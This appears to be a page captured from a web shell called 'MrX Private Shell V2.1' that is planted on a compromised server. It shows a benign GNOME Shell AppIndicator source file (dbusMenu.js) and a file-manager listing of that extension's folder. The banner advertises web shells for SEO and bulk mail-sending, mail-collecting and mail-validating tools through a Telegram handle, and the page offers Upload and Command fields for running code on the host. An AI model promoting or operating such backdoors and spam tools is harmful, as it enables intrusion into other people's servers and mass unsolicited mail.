__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
// This file is part of the AppIndicator/KStatusNotifierItem GNOME Shell extension
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

import Clutter from 'gi://Clutter';
import GLib from 'gi://GLib';
import GObject from 'gi://GObject';
import GdkPixbuf from 'gi://GdkPixbuf';
import Gio from 'gi://Gio';
import St from 'gi://St';

import * as PopupMenu from 'resource:///org/gnome/shell/ui/popupMenu.js';
import * as Signals from 'resource:///org/gnome/shell/misc/signals.js';

import * as DBusInterfaces from './interfaces.js';
import * as PromiseUtils from './promiseUtils.js';
import * as Util from './util.js';
import {DBusProxy} from './dbusProxy.js';

Gio._promisify(GdkPixbuf.Pixbuf, 'new_from_stream_async');

// ////////////////////////////////////////////////////////////////////////
// PART ONE: "ViewModel" backend implementation.
// Both code and design are inspired by libdbusmenu
// ////////////////////////////////////////////////////////////////////////

/**
 * Saves menu property values and handles type checking and defaults
 */
export class PropertyStore {
    constructor(initialProperties) {
        this._props = new Map();

        if (initialProperties) {
            for (const [prop, value] of Object.entries(initialProperties))
                this.set(prop, value);
        }
    }

    set(name, value) {
        if (name in PropertyStore.MandatedTypes && value &&
            !value.is_of_type(PropertyStore.MandatedTypes[name]))
            Util.Logger.warn(`Cannot set property ${name}: type mismatch!`);
        else if (value)
            this._props.set(name, value);
        else
            this._props.delete(name);
    }

    get(name) {
        const prop = this._props.get(name);
        if (prop)
            return prop;
        else if (name in PropertyStore.DefaultValues)
            return PropertyStore.DefaultValues[name];
        else
            return null;
    }
}

// we list all the properties we know and use here, so we won' have to deal with unexpected type mismatches
PropertyStore.MandatedTypes = {
    'visible': GLib.VariantType.new('b'),
    'enabled': GLib.VariantType.new('b'),
    'label': GLib.VariantType.new('s'),
    'type': GLib.VariantType.new('s'),
    'children-display': GLib.VariantType.new('s'),
    'icon-name': GLib.VariantType.new('s'),
    'icon-data': GLib.VariantType.new('ay'),
    'toggle-type': GLib.VariantType.new('s'),
    'toggle-state': GLib.VariantType.new('i'),
};

PropertyStore.DefaultValues = {
    'visible': GLib.Variant.new_boolean(true),
    'enabled': GLib.Variant.new_boolean(true),
    'label': GLib.Variant.new_string(''),
    'type': GLib.Variant.new_string('standard'),
    // elements not in here must return null
};

/**
 * Represents a single menu item
 */
export class DbusMenuItem extends Signals.EventEmitter {
    // will steal the properties object
    constructor(client, id, properties, childrenIds) {
        super();

        this._client = client;
        this._id = id;
        this._propStore = new PropertyStore(properties);
        this._children_ids = childrenIds;
    }

    propertyGet(propName) {
        const prop = this.propertyGetVariant(propName);
        return prop ? prop.get_string()[0] : null;
    }

    propertyGetVariant(propName) {
        return this._propStore.get(propName);
    }

    propertyGetBool(propName) {
        const prop  = this.propertyGetVariant(propName);
        return prop ? prop.get_boolean() : false;
    }

    propertyGetInt(propName) {
        const prop = this.propertyGetVariant(propName);
        return prop ? prop.get_int32() : 0;
    }

    propertySet(prop, value) {
        this._propStore.set(prop, value);

        this.emit('property-changed', prop, this.propertyGetVariant(prop));
    }

    resetProperties() {
        Object.entries(PropertyStore.DefaultValues).forEach(([prop, value]) =>
            this.propertySet(prop, value));
    }

    getChildrenIds() {
        return this._children_ids.concat(); // clone it!
    }

    addChild(pos, childId) {
        this._children_ids.splice(pos, 0, childId);
        this.emit('child-added', this._client.getItem(childId), pos);
    }

    removeChild(childId) {
        // find it
        let pos = -1;
        for (let i = 0; i < this._children_ids.length; ++i) {
            if (this._children_ids[i] === childId) {
                pos = i;
                break;
            }
        }

        if (pos < 0) {
            Util.Logger.critical("Trying to remove child which doesn't exist");
        } else {
            this._children_ids.splice(pos, 1);
            this.emit('child-removed', this._client.getItem(childId));
        }
    }

    moveChild(childId, newPos) {
        // find the old position
        let oldPos = -1;
        for (let i = 0; i < this._children_ids.length; ++i) {
            if (this._children_ids[i] === childId) {
                oldPos = i;
                break;
            }
        }

        if (oldPos < 0) {
            Util.Logger.critical("tried to move child which wasn't in the list");
            return;
        }

        if (oldPos !== newPos) {
            this._children_ids.splice(oldPos, 1);
            this._children_ids.splice(newPos, 0, childId);
            this.emit('child-moved', oldPos, newPos, this._client.getItem(childId));
        }
    }

    getChildren() {
        return this._children_ids.map(el => this._client.getItem(el));
    }

    handleEvent(event, data, timestamp) {
        if (!data)
            data = GLib.Variant.new_int32(0);

        this._client.sendEvent(this._id, event, data, timestamp);
    }

    getId() {
        return this._id;
    }

    sendAboutToShow() {
        this._client.sendAboutToShow(this._id);
    }
}


/**
 * The client does the heavy lifting of actually reading layouts and distributing events
 */

export const DBusClient = GObject.registerClass({
    Signals: {'ready-changed': {}},
}, class AppIndicatorsDBusClient extends DBusProxy {
    static get interfaceInfo() {
        if (!this._interfaceInfo) {
            this._interfaceInfo = Gio.DBusInterfaceInfo.new_for_xml(
                DBusInterfaces.DBusMenu);
        }
        return this._interfaceInfo;
    }

    static get baseItems() {
        if (!this._baseItems) {
            this._baseItems = {
                'children-display': GLib.Variant.new_string('submenu'),
            };
        }
        return this._baseItems;
    }

    static destroy() {
        delete this._interfaceInfo;
    }

    _init(busName, objectPath) {
        const {interfaceInfo} = AppIndicatorsDBusClient;

        super._init(busName, objectPath, interfaceInfo,
            Gio.DBusProxyFlags.DO_NOT_LOAD_PROPERTIES);

        this._items = new Map();
        this._items.set(0, new DbusMenuItem(this, 0, DBusClient.baseItems, []));
        this._flagItemsUpdateRequired = false;

        // will be set to true if a layout update is needed once active
        this._flagLayoutUpdateRequired = false;

        // property requests are queued
        this._propertiesRequestedFor = new Set(/* ids */);

        this._layoutUpdated = false;
        this._active = false;
    }

    async initAsync(cancellable) {
        await super.initAsync(cancellable);

        this._requestLayoutUpdate();
    }

    _onNameOwnerChanged() {
        if (this.isReady)
            this._requestLayoutUpdate();
    }

    get isReady() {
        return this._layoutUpdated && !!this.gNameOwner;
    }

    get cancellable() {
        return this._cancellable;
    }

    getRoot() {
        return this._items.get(0);
    }

    _requestLayoutUpdate() {
        const cancellable = new Util.CancellableChild(this._cancellable);
        this._beginLayoutUpdate(cancellable);
    }

    async _requestProperties(propertyId, cancellable) {
        this._propertiesRequestedFor.add(propertyId);

        if (this._propertiesRequest && this._propertiesRequest.pending())
            return;

        // if we don't have any requests queued, we'll need to add one
        this._propertiesRequest = new PromiseUtils.IdlePromise(
            GLib.PRIORITY_DEFAULT_IDLE, cancellable);
        await this._propertiesRequest;

        const requestedProperties = Array.from(this._propertiesRequestedFor);
        this._propertiesRequestedFor.clear();
        const [result] = await this.GetGroupPropertiesAsync(requestedProperties,
            [], cancellable);

        result.forEach(([id, properties]) => {
            const item = this._items.get(id);
            if (!item)
                return;

            item.resetProperties();

            for (const [prop, value] of Object.entries(properties))
                item.propertySet(prop, value);
        });
    }

    // Traverses the list of cached menu items and removes everyone that is not in the list
    // so we don't keep alive unused items
    _gcItems() {
        const tag = new Date().getTime();

        const toTraverse = [0];
        while (toTraverse.length > 0) {
            const item = this.getItem(toTraverse.shift());
            item._dbusClientGcTag = tag;
            Array.prototype.push.apply(toTraverse, item.getChildrenIds());
        }

        this._items.forEach((i, id) => {
            if (i._dbusClientGcTag !== tag)
                this._items.delete(id);
        });
    }

    // the original implementation will only request partial layouts if somehow possible
    // we try to save us from multiple kinds of race conditions by always requesting a full layout
    _beginLayoutUpdate(cancellable) {
        this._layoutUpdateUpdateAsync(cancellable).catch(e => {
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                logError(e);
        });
    }

    // the original implementation will only request partial layouts if somehow possible
    // we try to save us from multiple kinds of race conditions by always requesting a full layout
    async _layoutUpdateUpdateAsync(cancellable) {
        // we only read the type property, because if the type changes after reading all properties,
        // the view would have to replace the item completely which we try to avoid
        if (this._layoutUpdateCancellable)
            this._layoutUpdateCancellable.cancel();

        this._layoutUpdateCancellable = cancellable;

        try {
            const [revision_, root] = await this.GetLayoutAsync(0, -1,
                ['type', 'children-display'], cancellable);

            this._updateLayoutState(true);
            this._doLayoutUpdate(root, cancellable);
            this._gcItems();
            this._flagLayoutUpdateRequired = false;
            this._flagItemsUpdateRequired = false;
        } catch (e) {
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                this._updateLayoutState(false);
            throw e;
        } finally {
            if (this._layoutUpdateCancellable === cancellable)
                this._layoutUpdateCancellable = null;
        }
    }

    _updateLayoutState(state) {
        const wasReady = this.isReady;
        this._layoutUpdated = state;
        if (this.isReady !== wasReady)
            this.emit('ready-changed');
    }

    _doLayoutUpdate(item, cancellable) {
        const [id, properties, children] = item;

        const childrenUnpacked = children.map(c => c.deep_unpack());
        const childrenIds = childrenUnpacked.map(([c]) => c);

        // make sure all our children exist
        childrenUnpacked.forEach(c => this._doLayoutUpdate(c, cancellable));

        // make sure we exist
        const menuItem = this._items.get(id);

        if (menuItem) {
            // we do, update our properties if necessary
            for (const [prop, value] of Object.entries(properties))
                menuItem.propertySet(prop, value);

            // make sure our children are all at the right place, and exist
            const oldChildrenIds = menuItem.getChildrenIds();
            for (let i = 0; i < childrenIds.length; ++i) {
                // try to recycle an old child
                let oldChild = -1;
                for (let j = 0; j < oldChildrenIds.length; ++j) {
                    if (oldChildrenIds[j] === childrenIds[i]) {
                        [oldChild] = oldChildrenIds.splice(j, 1);
                        break;
                    }
                }

                if (oldChild < 0) {
                    // no old child found, so create a new one!
                    menuItem.addChild(i, childrenIds[i]);
                } else {
                    // old child found, reuse it!
                    menuItem.moveChild(childrenIds[i], i);
                }
            }

            // remove any old children that weren't reused
            oldChildrenIds.forEach(c => menuItem.removeChild(c));

            if (!this._flagItemsUpdateRequired)
                return id;
        }

        // we don't, so let's create us
        let newMenuItem = menuItem;

        if (!newMenuItem) {
            newMenuItem = new DbusMenuItem(this, id, properties, childrenIds);
            this._items.set(id, newMenuItem);
        }

        this._requestProperties(id, cancellable).catch(e => {
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                Util.Logger.warn(`Could not get menu properties menu proxy: ${e}`);
        });

        return id;
    }

    async _doPropertiesUpdateAsync(cancellable) {
        if (this._propertiesUpdateCancellable)
            this._propertiesUpdateCancellable.cancel();

        this._propertiesUpdateCancellable = cancellable;

        try {
            const requests = [];

            this._items.forEach((_, id) =>
                requests.push(this._requestProperties(id, cancellable)));

            await Promise.all(requests);
        } finally {
            if (this._propertiesUpdateCancellable === cancellable)
                this._propertiesUpdateCancellable = null;
        }
    }

    _doPropertiesUpdate() {
        const cancellable = new Util.CancellableChild(this._cancellable);
        this._doPropertiesUpdateAsync(cancellable).catch(e => {
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                Util.Logger.warn(`Could not get menu properties menu proxy: ${e}`);
        });
    }


    set active(active) {
        const wasActive = this._active;
        this._active = active;

        if (active && wasActive !== active) {
            if (this._flagLayoutUpdateRequired) {
                this._requestLayoutUpdate();
            } else if (this._flagItemsUpdateRequired) {
                this._doPropertiesUpdate();
                this._flagItemsUpdateRequired = false;
            }
        }
    }

    _onSignal(_sender, signal, params) {
        if (signal === 'LayoutUpdated') {
            if (!this._active) {
                this._flagLayoutUpdateRequired = true;
                return;
            }

            this._requestLayoutUpdate();
        } else if (signal === 'ItemsPropertiesUpdated') {
            if (!this._active) {
                this._flagItemsUpdateRequired = true;
                return;
            }

            this._onPropertiesUpdated(params.deep_unpack());
        }
    }

    getItem(id) {
        const item = this._items.get(id);
        if (!item)
            Util.Logger.warn(`trying to retrieve item for non-existing id ${id} !?`);
        return item || null;
    }

    // we don't need to cache and burst-send that since it will not happen that frequently
    async sendAboutToShow(id) {
        if (this._hasAboutToShow === false)
            return;

        /* Some indicators (you, dropbox!) don't use the right signature
         * and don't return a boolean, so we need to support both cases */
        try {
            const ret = await this.gConnection.call(this.gName, this.gObjectPath,
                this.gInterfaceName, 'AboutToShow', new GLib.Variant('(i)', [id]),
                null, Gio.DBusCallFlags.NONE, -1, this._cancellable);

            if ((ret.is_of_type(new GLib.VariantType('(b)')) &&
                 ret.get_child_value(0).get_boolean()) ||
                ret.is_of_type(new GLib.VariantType('()')))
                this._requestLayoutUpdate();
        } catch (e) {
            Util.Logger.debug('Error when calling \'AboutToShow()\' in ' +
                `${this.gName}, ${this.gObjectPath}, ${this.gInterfaceName}`);
            if (e.matches(Gio.DBusError, Gio.DBusError.UNKNOWN_METHOD) ||
                e.matches(Gio.DBusError, Gio.DBusError.FAILED)) {
                this._hasAboutToShow = false;
                return;
            }
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                logError(e);
        }
    }

    sendEvent(id, event, params, timestamp) {
        if (!this.gNameOwner)
            return;

        this.EventAsync(id, event, params, timestamp, this._cancellable).catch(e => {
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                logError(e);
        });
    }

    _onPropertiesUpdated([changed, removed]) {
        changed.forEach(([id, props]) => {
            const item = this._items.get(id);
            if (!item)
                return;

            for (const [prop, value] of Object.entries(props))
                item.propertySet(prop, value);
        });
        removed.forEach(([id, propNames]) => {
            const item = this._items.get(id);
            if (!item)
                return;

            propNames.forEach(propName => item.propertySet(propName, null));
        });
    }
});

// ////////////////////////////////////////////////////////////////////////
// PART TWO: "View" frontend implementation.
// ////////////////////////////////////////////////////////////////////////

// https://bugzilla.gnome.org/show_bug.cgi?id=731514
// GNOME 3.10 and 3.12 can't open a nested submenu.
// Patches have been written, but it's not clear when (if?) they will be applied.
// We also don't know whether they will be backported to 3.10, so we will work around
// it in the meantime. Offending versions can be clearly identified:
const NEED_NESTED_SUBMENU_FIX = '_setOpenedSubMenu' in PopupMenu.PopupMenu.prototype;

/**
 * Creates new wrapper menu items and injects methods for managing them at runtime.
 *
 * Many functions in this object will be bound to the created item and executed as event
 * handlers, so any `this` will refer to a menu item create in createItem
 */
const MenuItemFactory = {
    createItem(client, dbusItem) {
        // first, decide whether it's a submenu or not
        let shellItem;
        if (dbusItem.propertyGet('children-display') === 'submenu')
            shellItem = new PopupMenu.PopupSubMenuMenuItem('FIXME');
        else if (dbusItem.propertyGet('type') === 'separator')
            shellItem = new PopupMenu.PopupSeparatorMenuItem('');
        else
            shellItem = new PopupMenu.PopupMenuItem('FIXME');

        shellItem._dbusItem = dbusItem;
        shellItem._dbusClient = client;

        if (shellItem instanceof PopupMenu.PopupMenuItem) {
            shellItem._icon = new St.Icon({
                style_class: 'popup-menu-icon',
                xAlign: Clutter.ActorAlign.END,
            });
            shellItem.add_child(shellItem._icon);
            shellItem.label.x_expand = true;
        }

        // initialize our state
        MenuItemFactory._updateLabel.call(shellItem);
        MenuItemFactory._updateOrnament.call(shellItem);
        MenuItemFactory._updateImage.call(shellItem);
        MenuItemFactory._updateVisible.call(shellItem);
        MenuItemFactory._updateSensitive.call(shellItem);

        // initially create children
        if (shellItem instanceof PopupMenu.PopupSubMenuMenuItem) {
            dbusItem.getChildren().forEach(c =>
                shellItem.menu.addMenuItem(MenuItemFactory.createItem(client, c)));
        }

        // now, connect various events
        Util.connectSmart(dbusItem, 'property-changed',
            shellItem, MenuItemFactory._onPropertyChanged);
        Util.connectSmart(dbusItem, 'child-added',
            shellItem, MenuItemFactory._onChildAdded);
        Util.connectSmart(dbusItem, 'child-removed',
            shellItem, MenuItemFactory._onChildRemoved);
        Util.connectSmart(dbusItem, 'child-moved',
            shellItem, MenuItemFactory._onChildMoved);
        Util.connectSmart(shellItem, 'activate',
            shellItem, MenuItemFactory._onActivate);

        shellItem.connect('destroy', () => {
            shellItem._dbusItem = null;
            shellItem._dbusClient = null;
            shellItem._icon = null;
        });

        if (shellItem.menu) {
            Util.connectSmart(shellItem.menu, 'open-state-changed',
                shellItem,  MenuItemFactory._onOpenStateChanged);
        }

        return shellItem;
    },

    _onOpenStateChanged(menu, open) {
        if (open) {
            if (NEED_NESTED_SUBMENU_FIX) {
                // close our own submenus
                if (menu._openedSubMenu)
                    menu._openedSubMenu.close(false);

                // register ourselves and close sibling submenus
                if (menu._parent._openedSubMenu && menu._parent._openedSubMenu !== menu)
                    menu._parent._openedSubMenu.close(true);

                menu._parent._openedSubMenu = menu;
            }

            this._dbusItem.handleEvent('opened', null, 0);
            this._dbusItem.sendAboutToShow();
        } else {
            if (NEED_NESTED_SUBMENU_FIX) {
                // close our own submenus
                if (menu._openedSubMenu)
                    menu._openedSubMenu.close(false);
            }

            this._dbusItem.handleEvent('closed', null, 0);
        }
    },

    _onActivate(_item, event) {
        const timestamp = event.get_time();
        if (timestamp && this._dbusClient.indicator)
            this._dbusClient.indicator.provideActivationToken(timestamp);

        this._dbusItem.handleEvent('clicked', GLib.Variant.new('i', 0),
            timestamp);
    },

    _onPropertyChanged(dbusItem, prop, _value) {
        if (prop === 'toggle-type' || prop === 'toggle-state')
            MenuItemFactory._updateOrnament.call(this);
        else if (prop === 'label')
            MenuItemFactory._updateLabel.call(this);
        else if (prop === 'enabled')
            MenuItemFactory._updateSensitive.call(this);
        else if (prop === 'visible')
            MenuItemFactory._updateVisible.call(this);
        else if (prop === 'icon-name' || prop === 'icon-data')
            MenuItemFactory._updateImage.call(this);
        else if (prop === 'type' || prop === 'children-display')
            MenuItemFactory._replaceSelf.call(this);
        else
            Util.Logger.debug(`Unhandled property change: ${prop}`);
    },

    _onChildAdded(dbusItem, child, position) {
        if (!(this instanceof PopupMenu.PopupSubMenuMenuItem)) {
            Util.Logger.warn('Tried to add a child to non-submenu item. Better recreate it as whole');
            MenuItemFactory._replaceSelf.call(this);
        } else {
            this.menu.addMenuItem(MenuItemFactory.createItem(this._dbusClient, child), position);
        }
    },

    _onChildRemoved(dbusItem, child) {
        if (!(this instanceof PopupMenu.PopupSubMenuMenuItem)) {
            Util.Logger.warn('Tried to remove a child from non-submenu item. Better recreate it as whole');
            MenuItemFactory._replaceSelf.call(this);
        } else {
            // find it!
            this.menu._getMenuItems().forEach(item => {
                if (item._dbusItem === child)
                    item.destroy();
            });
        }
    },

    _onChildMoved(dbusItem, child, oldpos, newpos) {
        if (!(this instanceof PopupMenu.PopupSubMenuMenuItem)) {
            Util.Logger.warn('Tried to move a child in non-submenu item. Better recreate it as whole');
            MenuItemFactory._replaceSelf.call(this);
        } else {
            MenuUtils.moveItemInMenu(this.menu, child, newpos);
        }
    },

    _updateLabel() {
        const label = this._dbusItem.propertyGet('label').replace(/_([^_])/, '$1');

        if (this.label) // especially on GS3.8, the separator item might not even have a hidden label
            this.label.set_text(label);
    },

    _updateOrnament() {
        if (!this.setOrnament)
            return; // separators and alike might not have gotten the polyfill

        if (this._dbusItem.propertyGet('toggle-type') === 'checkmark' &&
            this._dbusItem.propertyGetInt('toggle-state'))
            this.setOrnament(PopupMenu.Ornament.CHECK);
        else if (this._dbusItem.propertyGet('toggle-type') === 'radio' &&
                 this._dbusItem.propertyGetInt('toggle-state'))
            this.setOrnament(PopupMenu.Ornament.DOT);
        else
            this.setOrnament(PopupMenu.Ornament.NONE);
    },

    async _updateImage() {
        if (!this._icon)
            return; // might be missing on submenus / separators

        const iconName = this._dbusItem.propertyGet('icon-name');
        const iconData = this._dbusItem.propertyGetVariant('icon-data');
        if (iconName) {
            this._icon.icon_name = iconName;
        } else if (iconData) {
            try {
                const inputStream = Gio.MemoryInputStream.new_from_bytes(
                    iconData.get_data_as_bytes());
                this._icon.gicon = await GdkPixbuf.Pixbuf.new_from_stream_async(
                    inputStream, this._dbusClient.cancellable);
            } catch (e) {
                if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                    logError(e);
            }
        }
    },

    _updateVisible() {
        this.visible = this._dbusItem.propertyGetBool('visible');
    },

    _updateSensitive() {
        this.setSensitive(this._dbusItem.propertyGetBool('enabled'));
    },

    _replaceSelf(newSelf) {
        // create our new self if needed
        if (!newSelf)
            newSelf = MenuItemFactory.createItem(this._dbusClient, this._dbusItem);

        // first, we need to find our old position
        let pos = -1;
        const family = this._parent._getMenuItems();
        for (let i = 0; i < family.length; ++i) {
            if (family[i] === this)
                pos = i;
        }

        if (pos < 0)
            throw new Error("DBusMenu: can't replace non existing menu item");


        // add our new self while we're still alive
        this._parent.addMenuItem(newSelf, pos);

        // now destroy our old self
        this.destroy();
    },
};

/**
 * Utility functions not necessarily belonging into the item factory
 */
const MenuUtils = {
    moveItemInMenu(menu, dbusItem, newpos) {
        // HACK: we're really getting into the internals of the PopupMenu implementation

        // First, find our wrapper. Children tend to lie. We do not trust the old positioning.
        const family = menu._getMenuItems();
        for (let i = 0; i < family.length; ++i) {
            if (family[i]._dbusItem === dbusItem) {
                // now, remove it
                menu.box.remove_child(family[i]);

                // and add it again somewhere else
                if (newpos < family.length && family[newpos] !== family[i])
                    menu.box.insert_child_below(family[i], family[newpos]);
                else
                    menu.box.add(family[i]);

                // skip the rest
                return;
            }
        }
    },
};


/**
 * Processes DBus events, creates the menu items and handles the actions
 *
 * Something like a mini-god-object
 */
export class Client extends Signals.EventEmitter {
    constructor(busName, path, indicator) {
        super();

        this._busName  = busName;
        this._busPath  = path;
        this._client   = new DBusClient(busName, path);
        this._rootMenu = null; // the shell menu
        this._rootItem = null; // the DbusMenuItem for the root
        this.indicator = indicator;
        this.cancellable = new Util.CancellableChild(this.indicator.cancellable);

        this._client.initAsync(this.cancellable).catch(e => {
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                logError(e);
        });

        Util.connectSmart(this._client, 'ready-changed', this,
            () => this.emit('ready-changed'));
    }

    get isReady() {
        return this._client.isReady;
    }

    // this will attach the client to an already existing menu that will be used as the root menu.
    // it will also connect the client to be automatically destroyed when the menu dies.
    attachToMenu(menu) {
        this._rootMenu = menu;
        this._rootItem = this._client.getRoot();
        this._itemsBeingAdded = new Set();

        // cleanup: remove existing children (just in case)
        this._rootMenu.removeAll();

        if (NEED_NESTED_SUBMENU_FIX)
            menu._setOpenedSubMenu = this._setOpenedSubmenu.bind(this);

        // connect handlers
        Util.connectSmart(menu, 'open-state-changed', this, this._onMenuOpened);
        Util.connectSmart(menu, 'destroy', this, this.destroy);

        Util.connectSmart(this._rootItem, 'child-added', this, this._onRootChildAdded);
        Util.connectSmart(this._rootItem, 'child-removed', this, this._onRootChildRemoved);
        Util.connectSmart(this._rootItem, 'child-moved', this, this._onRootChildMoved);

        // Dropbox requires us to call AboutToShow(0) first
        this._rootItem.sendAboutToShow();

        // fill the menu for the first time
        const children = this._rootItem.getChildren();
        children.forEach(child =>
            this._onRootChildAdded(this._rootItem, child));
    }

    _setOpenedSubmenu(submenu) {
        if (!submenu)
            return;

        if (submenu._parent !== this._rootMenu)
            return;

        if (submenu === this._openedSubMenu)
            return;

        if (this._openedSubMenu && this._openedSubMenu.isOpen)
            this._openedSubMenu.close(true);

        this._openedSubMenu = submenu;
    }

    _onRootChildAdded(dbusItem, child, position) {
        // Menu additions can be expensive, so let's do it in different chunks
        const basePriority = this.isOpen ? GLib.PRIORITY_DEFAULT : GLib.PRIORITY_LOW;
        const idlePromise = new PromiseUtils.IdlePromise(
            basePriority + this._itemsBeingAdded.size, this.cancellable);
        this._itemsBeingAdded.add(child);

        idlePromise.then(() => {
            if (!this._itemsBeingAdded.has(child))
                return;

            this._rootMenu.addMenuItem(
                MenuItemFactory.createItem(this, child), position);
        }).catch(e => {
            if (!e.matches(Gio.IOErrorEnum, Gio.IOErrorEnum.CANCELLED))
                logError(e);
        }).finally(() => this._itemsBeingAdded.delete(child));
    }

    _onRootChildRemoved(dbusItem, child) {
        // children like to play hide and seek
        // but we know how to find it for sure!
        const item = this._rootMenu._getMenuItems().find(it =>
            it._dbusItem === child);

        if (item)
            item.destroy();
        else
            this._itemsBeingAdded.delete(child);
    }

    _onRootChildMoved(dbusItem, child, oldpos, newpos) {
        MenuUtils.moveItemInMenu(this._rootMenu, dbusItem, newpos);
    }

    _onMenuOpened(menu, state) {
        if (!this._rootItem)
            return;

        this._client.active = state;

        if (state) {
            if (this._openedSubMenu && this._openedSubMenu.isOpen)
                this._openedSubMenu.close();

            this._rootItem.handleEvent('opened', null, 0);
            this._rootItem.sendAboutToShow();
        } else {
            this._rootItem.handleEvent('closed', null, 0);
        }
    }

    destroy() {
        this.emit('destroy');

        if (this._client)
            this._client.destroy();

        this._client   = null;
        this._rootItem = null;
        this._rootMenu = null;
        this.indicator = null;
        this._itemsBeingAdded = null;
    }
}

Filemanager

Name Type Size Permission Actions
interfaces-xml Folder 0755
appIndicator.js File 54.43 KB 0644
dbusMenu.js File 32.2 KB 0644
dbusProxy.js File 3.12 KB 0644
extension.js File 3.53 KB 0644
iconCache.js File 5.61 KB 0644
indicatorStatusIcon.js File 19.96 KB 0644
interfaces.js File 2.26 KB 0644
metadata.json File 547 B 0644
pixmapsUtils.js File 2.59 KB 0644
prefs.js File 11.7 KB 0644
promiseUtils.js File 9.29 KB 0644
settingsManager.js File 1.61 KB 0644
statusNotifierWatcher.js File 10.45 KB 0644
trayIconsManager.js File 3.82 KB 0644
util.js File 13.76 KB 0644
Filemanager